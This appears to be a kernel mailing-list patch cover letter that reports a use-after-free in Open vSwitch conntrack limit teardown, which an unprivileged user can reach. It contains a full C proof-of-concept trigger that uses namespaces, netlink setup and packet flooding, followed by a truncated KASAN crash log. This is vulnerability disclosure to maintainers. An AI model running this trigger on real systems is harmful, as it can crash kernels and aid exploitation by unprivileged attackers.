* [PATCH net v2 0/1] openvswitch: Fix CT limit teardown use-after-free
@ 2026-07-22 16:40 Ren Wei
2026-07-22 16:40 ` [PATCH net v2 1/1] " Ren Wei
0 siblings, 1 reply; 2+ messages in thread
From: Ren Wei @ 2026-07-22 16:40 UTC (permalink / raw)
To: netdev, dev
Cc: aconole, echaudro, i.maximets, davem, edumazet, pabeni, horms,
yihung.wei, pshelar, vega, tonanli66, xuyuqiabc, enjou1224z
From: Yuqi Xu <xuyuqiabc@gmail.com>
openvswitch: Fix CT limit teardown use-after-free
Changes in v2:
- Sort local declarations modified by this patch in reverse
Christmas-tree order.
- v1 Link: https://lore.kernel.org/all/aa8a1d8dcbac8a13dbdf077a642a66f4c5d81e4b.1784355642.git.xuyuqiabc@gmail.com/
Hi Linux kernel maintainers,
We found an issue in net/openvswitch/conntrack.c.
The bug is reachable by an unprivileged user using private user and network namespaces.
The relevant details are provided below.
---- details below ----
Bug details:
Packet processing uses CT limit state under RCU, while netns teardown
frees that state under ovs_mutex. The CT limit pointer was neither removed
from readers nor protected by a grace period, allowing packet processing to
dereference the freed state.
Replace the pointer before freeing the CT limit state. Wait for in-flight
RCU readers before freeing its contents. Serialize CT limit netlink
operations with teardown for the full lifetime of their state accesses.
Fixes: 11efd5cb04a1 ("openvswitch: Support conntrack zone limit")
Reproducer:
gcc -O2 -g -Wall -Wextra -pthread -o mini_poc mini_poc.c
./mini_poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN PoC------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/genetlink.h>
#include <linux/if_ether.h>
#include <linux/if_packet.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
#include <net/if.h>
#include <pthread.h>
#include <sched.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define MAX_MSG 8192
#define DP_NAME "ovsmini"
#define PORT_NAME "povsmini"
#define PORT_NO 1
#define ZONE 1
#define LIMIT 1
#define WARMUP_MS 5
#define FLOOD_MS 500
#define CT_CLONES 4
#define OVS_DATAPATH_FAMILY "ovs_datapath"
#define OVS_DATAPATH_VERSION 2
#define OVS_VPORT_FAMILY "ovs_vport"
#define OVS_VPORT_VERSION 1
#define OVS_FLOW_FAMILY "ovs_flow"
#define OVS_FLOW_VERSION 1
#define OVS_CT_LIMIT_FAMILY "ovs_ct_limit"
#define OVS_CT_LIMIT_VERSION 1
struct ovs_header {
int dp_ifindex;
};
enum {
OVS_DP_CMD_NEW = 1,
OVS_DP_CMD_GET = 3,
};
enum {
OVS_DP_ATTR_NAME = 1,
OVS_DP_ATTR_UPCALL_PID = 2,
OVS_DP_ATTR_IFINDEX = 9,
};
enum {
OVS_VPORT_CMD_NEW = 1,
};
enum {
OVS_VPORT_ATTR_PORT_NO = 1,
OVS_VPORT_ATTR_TYPE = 2,
OVS_VPORT_ATTR_NAME = 3,
OVS_VPORT_ATTR_UPCALL_PID = 5,
};
enum {
OVS_VPORT_TYPE_INTERNAL = 2,
};
enum {
OVS_FLOW_CMD_NEW = 1,
};
enum {
OVS_FLOW_ATTR_KEY = 1,
OVS_FLOW_ATTR_ACTIONS = 2,
OVS_FLOW_ATTR_MASK = 7,
};
enum {
OVS_KEY_ATTR_IN_PORT = 3,
OVS_KEY_ATTR_ETHERNET = 4,
OVS_KEY_ATTR_ETHERTYPE = 6,
OVS_KEY_ATTR_IPV4 = 7,
OVS_KEY_ATTR_UDP = 10,
};
enum {
OVS_CT_ATTR_COMMIT = 1,
OVS_CT_ATTR_ZONE = 2,
};
enum {
OVS_ACTION_ATTR_CT = 12,
OVS_ACTION_ATTR_CLONE = 20,
OVS_ACTION_ATTR_DROP = 24,
};
enum {
OVS_CT_LIMIT_CMD_SET = 1,
};
enum {
OVS_CT_LIMIT_ATTR_ZONE_LIMIT = 1,
};
struct ovs_key_ethernet {
uint8_t eth_src[ETH_ALEN];
uint8_t eth_dst[ETH_ALEN];
};
struct ovs_key_ipv4 {
uint32_t ipv4_src;
uint32_t ipv4_dst;
uint8_t ipv4_proto;
uint8_t ipv4_tos;
uint8_t ipv4_ttl;
uint8_t ipv4_frag;
};
struct ovs_key_udp {
uint16_t udp_src;
uint16_t udp_dst;
};
struct ovs_zone_limit {
int32_t zone_id;
uint32_t limit;
uint32_t count;
};
#ifndef NLA_ALIGN
#define NLA_ALIGNTO 4
#define NLA_ALIGN(len) (((len) + NLA_ALIGNTO - 1) & ~(NLA_ALIGNTO - 1))
#define NLA_HDRLEN ((int)NLA_ALIGN(sizeof(struct nlattr)))
#endif
#ifndef NLA_DATA
#define NLA_DATA(nla) ((void *)((char *)(nla) + NLA_HDRLEN))
#endif
#define DIE(...) do { fprintf(stderr, __VA_ARGS__); fputc('\n', stderr); \
exit(EXIT_FAILURE); } while (0)
static void die_errno(const char *what)
{
DIE("%s: %s", what, strerror(errno));
}
static void write_map(const char *path, const char *fmt, unsigned int id)
{
char buf[64];
int fd;
int len;
fd = open(path, O_WRONLY | O_CLOEXEC);
if (fd < 0)
die_errno(path);
len = snprintf(buf, sizeof(buf), fmt, id);
if (write(fd, buf, (size_t)len) != len)
die_errno(path);
close(fd);
}
static void enter_user_netns(void)
{
uid_t uid = getuid();
gid_t gid = getgid();
int fd;
if (unshare(CLONE_NEWUSER | CLONE_NEWNET))
die_errno("unshare user/net namespace");
fd = open("/proc/self/setgroups", O_WRONLY | O_CLOEXEC);
if (fd >= 0) {
if (write(fd, "deny", 4) != 4)
die_errno("setgroups");
close(fd);
}
write_map("/proc/self/uid_map", "0 %u 1\n", uid);
write_map("/proc/self/gid_map", "0 %u 1\n", gid);
if (setresgid(0, 0, 0) || setresuid(0, 0, 0))
die_errno("setresuid/setresgid");
}
static void addattr(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
const void *data, size_t len)
{
struct nlattr *nla;
size_t total = NLA_ALIGN(NLA_HDRLEN + len);
if (NLMSG_ALIGN(nlh->nlmsg_len) + total > maxlen)
DIE("netlink message too large");
nla = (struct nlattr *)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len));
nla->nla_type = type;
nla->nla_len = NLA_HDRLEN + len;
if (len)
memcpy(NLA_DATA(nla), data, len);
if (total > nla->nla_len)
memset((char *)nla + nla->nla_len, 0, total - nla->nla_len);
nlh->nlmsg_len = NLMSG_ALIGN(nlh->nlmsg_len) + total;
}
static void add_u16(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint16_t value)
{
addattr(nlh, maxlen, type, &value, sizeof(value));
}
static void add_u32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
uint32_t value)
{
addattr(nlh, maxlen, type, &value, sizeof(value));
}
static void add_s32(struct nlmsghdr *nlh, size_t maxlen, uint16_t type,
int32_t value)
{
addattr(nlh, maxlen, type, &value, sizeof(value));
}
static struct nlattr *nest_start(struct nlmsghdr *nlh, size_t maxlen,
uint16_t type)
{
struct nlattr *start = (struct nlattr *)((char *)nlh +
NLMSG_ALIGN(nlh->nlmsg_len));
addattr(nlh, maxlen, type, NULL, 0);
return start;
}
static void nest_end(struct nlmsghdr *nlh, struct nlattr *start)
{
start->nla_len = (uint16_t)((char *)nlh + NLMSG_ALIGN(nlh->nlmsg_len) -
(char *)start);
}
static int nl_open(int protocol)
{
struct sockaddr_nl addr = {.nl_family = AF_NETLINK};
int fd = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, protocol);
if (fd < 0)
die_errno("socket netlink");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)))
die_errno("bind netlink");
return fd;
}
static uint32_t next_seq(void)
{
static uint32_t seq = 1;
return __atomic_fetch_add(&seq, 1, __ATOMIC_RELAXED);
}
static void nl_send(int fd, struct nlmsghdr *nlh)
{
struct sockaddr_nl addr = {.nl_family = AF_NETLINK};
struct iovec iov = {.iov_base = nlh, .iov_len = nlh->nlmsg_len};
struct msghdr msg = {
.msg_name = &addr,
.msg_namelen = sizeof(addr),
.msg_iov = &iov,
.msg_iovlen = 1,
};
if (sendmsg(fd, &msg, 0) < 0)
die_errno("sendmsg netlink");
}
static ssize_t nl_reply(int fd, uint32_t seq, char *buf, size_t len)
{
for (;;) {
struct nlmsghdr *nlh;
ssize_t got = recv(fd, buf, len, 0);
ssize_t rem;
if (got < 0) {
if (errno == EINTR)
continue;
return -1;
}
rem = got;
for (nlh = (struct nlmsghdr *)buf; NLMSG_OK(nlh, rem);
nlh = NLMSG_NEXT(nlh, rem)) {
if (nlh->nlmsg_seq != seq)
continue;
if (nlh->nlmsg_type == NLMSG_ERROR) {
struct nlmsgerr *err = NLMSG_DATA(nlh);
if (err->error) {
errno = -err->error;
return -1;
}
return nlh->nlmsg_len;
} else {
return nlh->nlmsg_len;
}
}
}
}
static void nl_ack(int fd, uint32_t seq)
{
char buf[MAX_MSG];
if (nl_reply(fd, seq, buf, sizeof(buf)) < 0)
die_errno("netlink request");
}
static struct nlattr *find_attr(void *data, size_t len, uint16_t type)
{
struct nlattr *nla;
while (len >= sizeof(*nla)) {
nla = data;
if (nla->nla_len < NLA_HDRLEN || nla->nla_len > len)
break;
if ((nla->nla_type & NLA_TYPE_MASK) == type)
return nla;
len -= NLA_ALIGN(nla->nla_len);
data = (char *)data + NLA_ALIGN(nla->nla_len);
}
return NULL;
}
static int family_id(int fd, const char *name)
{
char buf[MAX_MSG] = {};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genl;
struct nlattr *attr;
uint32_t seq = next_seq();
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN);
nlh->nlmsg_type = GENL_ID_CTRL;
nlh->nlmsg_flags = NLM_F_REQUEST;
nlh->nlmsg_seq = seq;
genl = NLMSG_DATA(nlh);
genl->cmd = CTRL_CMD_GETFAMILY;
genl->version = 1;
addattr(nlh, sizeof(buf), CTRL_ATTR_FAMILY_NAME, name, strlen(name) + 1);
nl_send(fd, nlh);
if (nl_reply(fd, seq, buf, sizeof(buf)) < 0)
die_errno("get generic-netlink family");
attr = find_attr((char *)genl + GENL_HDRLEN,
nlh->nlmsg_len - NLMSG_LENGTH(GENL_HDRLEN),
CTRL_ATTR_FAMILY_ID);
if (!attr)
DIE("family %s has no id", name);
return *(uint16_t *)NLA_DATA(attr);
}
static void ovs_header(struct nlmsghdr *nlh, size_t maxlen, uint16_t family,
uint8_t cmd, uint8_t version, int dp_ifindex)
{
struct genlmsghdr *genl;
struct ovs_header *ovs;
memset(nlh, 0, maxlen);
nlh->nlmsg_len = NLMSG_LENGTH(GENL_HDRLEN + sizeof(*ovs));
nlh->nlmsg_type = family;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = next_seq();
genl = NLMSG_DATA(nlh);
genl->cmd = cmd;
genl->version = version;
ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN);
ovs->dp_ifindex = dp_ifindex;
}
static uint32_t request_seq(struct nlmsghdr *nlh)
{
return nlh->nlmsg_seq;
}
static void set_up(int fd, const char *ifname)
{
char buf[MAX_MSG] = {};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct ifinfomsg *ifi;
uint32_t seq = next_seq();
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = seq;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_change = IFF_UP;
ifi->ifi_flags = IFF_UP;
addattr(nlh, sizeof(buf), IFLA_IFNAME, ifname, strlen(ifname) + 1);
nl_send(fd, nlh);
nl_ack(fd, seq);
}
static void move_to_ns(int fd, const char *ifname, int netns_fd)
{
char buf[MAX_MSG] = {};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct ifinfomsg *ifi;
unsigned int ifindex = if_nametoindex(ifname);
uint32_t seq = next_seq();
if (!ifindex)
die_errno("if_nametoindex");
nlh->nlmsg_len = NLMSG_LENGTH(sizeof(*ifi));
nlh->nlmsg_type = RTM_NEWLINK;
nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
nlh->nlmsg_seq = seq;
ifi = NLMSG_DATA(nlh);
ifi->ifi_family = AF_UNSPEC;
ifi->ifi_index = (int)ifindex;
add_s32(nlh, sizeof(buf), IFLA_NET_NS_FD, netns_fd);
nl_send(fd, nlh);
nl_ack(fd, seq);
}
static void create_dp(int fd, int family)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_NEW,
OVS_DATAPATH_VERSION, 0);
addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME,
sizeof(DP_NAME));
add_u32(nlh, sizeof(buf), OVS_DP_ATTR_UPCALL_PID, 0);
nl_send(fd, nlh);
nl_ack(fd, request_seq(nlh));
}
static int dp_ifindex(int fd, int family)
{
char buf[MAX_MSG] = {};
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct genlmsghdr *genl;
struct ovs_header *ovs;
ovs_header(nlh, sizeof(buf), family, OVS_DP_CMD_GET,
OVS_DATAPATH_VERSION, 0);
nlh->nlmsg_flags = NLM_F_REQUEST;
addattr(nlh, sizeof(buf), OVS_DP_ATTR_NAME, DP_NAME,
sizeof(DP_NAME));
nl_send(fd, nlh);
if (nl_reply(fd, request_seq(nlh), buf, sizeof(buf)) < 0)
die_errno("get datapath");
nlh = (struct nlmsghdr *)buf;
genl = NLMSG_DATA(nlh);
ovs = (struct ovs_header *)((char *)genl + GENL_HDRLEN);
return ovs->dp_ifindex;
}
static void create_internal_port(int fd, int family, int dp)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
ovs_header(nlh, sizeof(buf), family, OVS_VPORT_CMD_NEW,
OVS_VPORT_VERSION, dp);
add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_TYPE,
OVS_VPORT_TYPE_INTERNAL);
addattr(nlh, sizeof(buf), OVS_VPORT_ATTR_NAME, PORT_NAME,
sizeof(PORT_NAME));
add_u32(nlh, sizeof(buf), OVS_VPORT_ATTR_UPCALL_PID, 0);
nl_send(fd, nlh);
nl_ack(fd, request_seq(nlh));
}
static void set_limit(int fd, int family)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct ovs_zone_limit limit = {
.zone_id = ZONE,
.limit = LIMIT,
};
ovs_header(nlh, sizeof(buf), family, OVS_CT_LIMIT_CMD_SET,
OVS_CT_LIMIT_VERSION, 0);
addattr(nlh, sizeof(buf), OVS_CT_LIMIT_ATTR_ZONE_LIMIT,
&limit, sizeof(limit));
nl_send(fd, nlh);
nl_ack(fd, request_seq(nlh));
}
static void add_flow(int fd, int family, int dp)
{
char buf[MAX_MSG];
struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
struct ovs_key_ethernet eth = {};
struct ovs_key_ipv4 ip = {.ipv4_proto = 17};
struct ovs_key_ipv4 ip_mask = {.ipv4_proto = 0xff};
struct ovs_key_udp udp = {};
struct nlattr *key, *mask, *actions, *ct;
ovs_header(nlh, sizeof(buf), family, OVS_FLOW_CMD_NEW,
OVS_FLOW_VERSION, dp);
key = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_KEY);
add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, PORT_NO);
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, ð, sizeof(eth));
add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(ETH_P_IP));
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip, sizeof(ip));
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp));
nest_end(nlh, key);
mask = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_MASK);
add_u32(nlh, sizeof(buf), OVS_KEY_ATTR_IN_PORT, UINT32_MAX);
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERNET, ð, sizeof(eth));
add_u16(nlh, sizeof(buf), OVS_KEY_ATTR_ETHERTYPE, htons(UINT16_MAX));
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_IPV4, &ip_mask, sizeof(ip_mask));
addattr(nlh, sizeof(buf), OVS_KEY_ATTR_UDP, &udp, sizeof(udp));
nest_end(nlh, mask);
int i;
actions = nest_start(nlh, sizeof(buf), OVS_FLOW_ATTR_ACTIONS);
for (i = 0; i < CT_CLONES; i++) {
struct nlattr *clone = nest_start(nlh, sizeof(buf),
OVS_ACTION_ATTR_CLONE);
ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT);
addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0);
add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE);
nest_end(nlh, ct);
add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0);
nest_end(nlh, clone);
}
ct = nest_start(nlh, sizeof(buf), OVS_ACTION_ATTR_CT);
addattr(nlh, sizeof(buf), OVS_CT_ATTR_COMMIT, NULL, 0);
add_u16(nlh, sizeof(buf), OVS_CT_ATTR_ZONE, ZONE);
nest_end(nlh, ct);
add_u32(nlh, sizeof(buf), OVS_ACTION_ATTR_DROP, 0);
nest_end(nlh, actions);
nl_send(fd, nlh);
nl_ack(fd, request_seq(nlh));
}
static void setup_victim(int anchor_fd, int ready_fd, int go_fd)
{
int genl, rtnl;
int dp_family, vport_family, flow_family, limit_family;
int dp;
char ready = 1;
if (unshare(CLONE_NEWNET))
die_errno("unshare victim netns");
genl = nl_open(NETLINK_GENERIC);
rtnl = nl_open(NETLINK_ROUTE);
dp_family = family_id(genl, OVS_DATAPATH_FAMILY);
vport_family = family_id(genl, OVS_VPORT_FAMILY);
flow_family = family_id(genl, OVS_FLOW_FAMILY);
limit_family = family_id(genl, OVS_CT_LIMIT_FAMILY);
create_dp(genl, dp_family);
dp = dp_ifindex(genl, dp_family);
create_internal_port(genl, vport_family, dp);
set_limit(genl, limit_family);
add_flow(genl, flow_family, dp);
move_to_ns(rtnl, PORT_NAME, anchor_fd);
if (write(ready_fd, &ready, 1) != 1)
die_errno("ready pipe");
if (read(go_fd, &ready, 1) != 1)
_exit(EXIT_FAILURE);
_exit(EXIT_SUCCESS);
}
static uint16_t checksum(const void *data, size_t len)
{
const uint16_t *p = data;
uint32_t sum = 0;
while (len > 1) {
sum += *p++;
len -= 2;
}
if (len)
sum += *(const uint8_t *)p;
while (sum >> 16)
sum = (sum & 0xffff) + (sum >> 16);
return (uint16_t)~sum;
}
struct flood_ctx {
volatile int *stop;
int id;
};
static void *flood_thread(void *arg)
{
struct flood_ctx *ctx = arg;
struct {
uint8_t dst[ETH_ALEN];
uint8_t src[ETH_ALEN];
uint16_t proto;
uint8_t ip[20];
uint8_t udp[8];
uint8_t payload[8];
} __attribute__((packed)) frame = {};
struct sockaddr_ll addr = {
.sll_family = AF_PACKET,
.sll_protocol = htons(ETH_P_ALL),
};
int fd;
unsigned int packet_id = (unsigned int)ctx->id << 24;
memset(frame.dst, 0x11, ETH_ALEN);
memset(frame.src, 0x22, ETH_ALEN);
frame.proto = htons(ETH_P_IP);
frame.ip[0] = 0x45;
frame.ip[8] = 64;
frame.ip[9] = 17;
frame.ip[12] = 10;
frame.ip[15] = 1;
frame.ip[16] = 10;
frame.ip[19] = 2;
frame.ip[2] = 0;
frame.ip[3] = sizeof(frame) - ETH_HLEN;
frame.udp[4] = 0;
frame.udp[5] = 16;
fd = socket(AF_PACKET, SOCK_RAW | SOCK_CLOEXEC, htons(ETH_P_ALL));
if (fd < 0)
return NULL;
addr.sll_ifindex = if_nametoindex(PORT_NAME);
while (!*ctx->stop && addr.sll_ifindex) {
frame.ip[4] = (uint8_t)packet_id;
frame.ip[5] = (uint8_t)(packet_id >> 8);
frame.ip[10] = 0;
frame.ip[11] = 0;
frame.ip[10] = checksum(frame.ip, sizeof(frame.ip)) >> 8;
frame.ip[11] = checksum(frame.ip, sizeof(frame.ip));
frame.udp[0] = (uint8_t)(packet_id >> 8);
frame.udp[1] = (uint8_t)packet_id;
if (sendto(fd, &frame, sizeof(frame), 0,
(struct sockaddr *)&addr, sizeof(addr)) < 0 &&
(errno == ENODEV || errno == ENXIO || errno == ENETDOWN))
break;
packet_id++;
}
close(fd);
return NULL;
}
static void flood_and_release(int go_fd)
{
enum { THREADS = 4 };
pthread_t threads[THREADS];
struct flood_ctx ctx[THREADS];
volatile int stop = 0;
char go = 1;
int i;
for (i = 0; i < THREADS; i++) {
ctx[i].stop = &stop;
ctx[i].id = i;
if (pthread_create(&threads[i], NULL, flood_thread, &ctx[i]))
die_errno("pthread_create");
}
usleep(WARMUP_MS * 1000);
if (write(go_fd, &go, 1) != 1)
die_errno("release pipe");
usleep(FLOOD_MS * 1000);
stop = 1;
for (i = 0; i < THREADS; i++)
pthread_join(threads[i], NULL);
}
int main(void)
{
int anchor_fd, genl, rtnl;
int ready[2], go[2];
pid_t child;
char byte;
enter_user_netns();
anchor_fd = open("/proc/self/ns/net", O_RDONLY | O_CLOEXEC);
if (anchor_fd < 0)
die_errno("anchor netns");
genl = nl_open(NETLINK_GENERIC);
rtnl = nl_open(NETLINK_ROUTE);
if (pipe(ready) || pipe(go))
die_errno("pipe");
child = fork();
if (child < 0)
die_errno("fork");
if (child == 0) {
close(ready[0]);
close(go[1]);
close(genl);
close(rtnl);
setup_victim(anchor_fd, ready[1], go[0]);
}
close(ready[1]);
close(go[0]);
if (read(ready[0], &byte, 1) != 1)
die_errno("ready");
while (!if_nametoindex(PORT_NAME))
usleep(1000);
set_up(rtnl, PORT_NAME);
flood_and_release(go[1]);
waitpid(child, NULL, 0);
close(go[1]);
close(ready[0]);
close(genl);
close(rtnl);
close(anchor_fd);
return 0;
}
------END PoC--------
----BEGIN crash log----
[Wed Mar 18 20:20:25 2026] [ T10321] BUG: KASAN: slab-use-after-free in ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [ T10321] Read of size 4 at addr ffff888035c1f3e0 by task poc/10321
[Wed Mar 18 20:20:25 2026] [ T10321] CPU: 0 UID: 1028 PID: 10321 Comm: poc Not tainted 6.12.74 #3
[Wed Mar 18 20:20:25 2026] [ T10321] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[Wed Mar 18 20:20:25 2026] [ T10321] Call Trace:
[Wed Mar 18 20:20:25 2026] [ T10321] <TASK>
[Wed Mar 18 20:20:25 2026] [ T10321] dump_stack_lvl+0x10e/0x1f0
[Wed Mar 18 20:20:25 2026] [ T10321] print_report+0xc6/0x620
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? __phys_addr+0xcb/0x150
[Wed Mar 18 20:20:25 2026] [ T10321] ? ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [ T10321] kasan_report+0xd8/0x110
[Wed Mar 18 20:20:25 2026] [ T10321] ? ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [ T10321] ovs_ct_execute+0x1f1c/0x2100
[Wed Mar 18 20:20:25 2026] [ T10321] ? __kasan_slab_alloc+0x89/0x90
[Wed Mar 18 20:20:25 2026] [ T10321] ? kmem_cache_alloc_noprof+0x126/0x2f0
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_ovs_ct_execute+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] do_execute_actions+0xaab/0x7d60
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_do_execute_actions+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? __asan_memcpy+0x3c/0x60
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? __asan_memcpy+0x3c/0x60
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? __skb_clone+0x575/0x760
[Wed Mar 18 20:20:25 2026] [ T10321] ? hlock_class+0x4e/0x130
[Wed Mar 18 20:20:25 2026] [ T10321] clone_execute+0x496/0x6d0
[Wed Mar 18 20:20:25 2026] [ T10321] do_execute_actions+0x1de7/0x7d60
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? lock_acquire.part.0+0x119/0x370
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_do_execute_actions+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_lock_acquire.part.0+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? find_held_lock+0x2d/0x110
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? ovs_dp_process_packet+0x227/0x820
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_lock_release+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ovs_execute_actions+0xf3/0x490
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ovs_dp_process_packet+0x280/0x820
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_ovs_dp_process_packet+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? __asan_memset+0x23/0x50
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? __ovs_ct_update_key+0x3a9/0xdc0
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ovs_vport_receive+0x21d/0x370
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_ovs_vport_receive+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? trace_lock_acquire+0x145/0x1c0
[Wed Mar 18 20:20:25 2026] [ T10321] ? internal_dev_xmit+0x65/0x320
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? lock_acquire+0x2f/0xb0
[Wed Mar 18 20:20:25 2026] [ T10321] ? internal_dev_xmit+0x65/0x320
[Wed Mar 18 20:20:25 2026] [ T10321] internal_dev_xmit+0xbe/0x320
[Wed Mar 18 20:20:25 2026] [ T10321] __dev_direct_xmit+0x58f/0x730
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx___dev_direct_xmit+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? netdev_pick_tx+0x147/0xc80
[Wed Mar 18 20:20:25 2026] [ T10321] packet_xmit+0x1ee/0x360
[Wed Mar 18 20:20:25 2026] [ T10321] packet_sendmsg+0x2704/0x55c0
[Wed Mar 18 20:20:25 2026] [ T10321] ? find_held_lock+0x2d/0x110
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx___might_resched+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? __sanitizer_cov_trace_switch+0x54/0x90
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? aa_sk_perm+0x2e6/0xb80
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_packet_sendmsg+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_aa_sk_perm+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] __sys_sendto+0x47e/0x4d0
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx___sys_sendto+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? __pfx_lock_release+0x10/0x10
[Wed Mar 18 20:20:25 2026] [ T10321] ? trace_lock_acquire+0x145/0x1c0
[Wed Mar 18 20:20:25 2026] [ T10321] ? srso_alias_return_thunk+0x5/0xfbef5
[Wed Mar 18 20:20:25 2026] [ T10321] ? rcu_is_watching+0x12/0xc0
